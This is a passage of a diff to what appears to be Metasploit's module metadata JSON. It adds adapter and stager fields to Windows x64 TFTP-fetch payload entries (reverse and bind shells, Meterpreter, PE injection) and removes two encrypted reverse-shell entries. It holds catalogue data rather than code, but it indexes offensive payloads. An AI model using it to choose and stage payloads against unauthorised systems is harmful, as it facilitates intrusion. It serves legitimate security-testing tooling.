"payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -204711,7 +208347,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -204748,7 +208390,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/tftp/x64/custom/bind_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -204784,7 +208432,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/tftp/x64/custom/bind_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -204820,7 +208474,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/tftp/x64/custom/bind_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -204861,7 +208521,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/tftp/x64/custom/bind_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -204898,7 +208564,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/tftp/x64/custom/reverse_http": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -204934,7 +208606,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/tftp/x64/custom/reverse_https": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -204972,7 +208650,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/tftp/x64/custom/reverse_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -205008,7 +208692,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/tftp/x64/custom/reverse_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -205044,7 +208734,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/tftp/x64/custom/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205085,7 +208781,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/tftp/x64/custom/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -205122,7 +208824,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/tftp/x64/custom/reverse_winhttp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -205158,7 +208866,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/tftp/x64/custom/reverse_winhttps": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -205194,79 +208908,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": { - "name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/tftp/x64/encrypted_shell_reverse_tcp": { - "name": "TFTP Fetch, Windows Encrypted Reverse Shell", - "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/tftp/x64/exec": { "name": "TFTP Fetch, Windows x64 Execute Command", @@ -205301,7 +208949,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, "payload_cmd/windows/tftp/x64/loadlibrary": { "name": "TFTP Fetch, Windows x64 LoadLibrary Path", @@ -205337,7 +208989,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, "payload_cmd/windows/tftp/x64/messagebox": { "name": "TFTP Fetch, Windows MessageBox x64", @@ -205372,7 +209028,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -205410,7 +209070,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -205448,7 +209114,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/tftp/x64/meterpreter/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -205487,7 +209159,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", @@ -205525,7 +209203,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205567,7 +209251,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -205605,7 +209295,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -205643,7 +209339,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -205684,7 +209386,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -205722,7 +209430,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", @@ -205760,7 +209474,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205802,7 +209522,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -205840,7 +209566,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -205878,7 +209610,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -205916,7 +209654,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/tftp/x64/meterpreter_bind_named_pipe": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", @@ -205954,7 +209698,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter_bind_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", @@ -205991,7 +209739,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", @@ -206028,7 +209780,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", @@ -206065,7 +209821,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", @@ -206102,7 +209862,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", @@ -206139,7 +209903,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -206175,7 +209943,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -206212,7 +209986,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/tftp/x64/peinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -206248,7 +210028,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/tftp/x64/peinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", @@ -206284,7 +210070,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/tftp/x64/peinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206325,7 +210117,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/tftp/x64/peinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -206362,7 +210160,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/tftp/x64/peinject/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -206398,7 +210202,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/tftp/x64/peinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", @@ -206434,7 +210244,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206475,7 +210291,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -206512,7 +210334,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Pingback, Reverse TCP Inline", @@ -206547,7 +210375,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/powershell_bind_tcp": { "name": "TFTP Fetch", @@ -206584,7 +210416,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/powershell_reverse_tcp": { "name": "TFTP Fetch", @@ -206621,7 +210457,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, "payload_cmd/windows/tftp/x64/powershell_reverse_tcp_ssl": { "name": "TFTP Fetch", @@ -206658,7 +210498,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -206693,7 +210537,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -206729,7 +210579,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/tftp/x64/shell/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -206765,7 +210621,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -206800,7 +210662,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/tftp/x64/shell/bind_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206840,7 +210708,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/tftp/x64/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -206876,7 +210750,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -206911,7 +210791,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/tftp/x64/shell/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206951,7 +210837,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/tftp/x64/shell/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -206987,7 +210879,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, 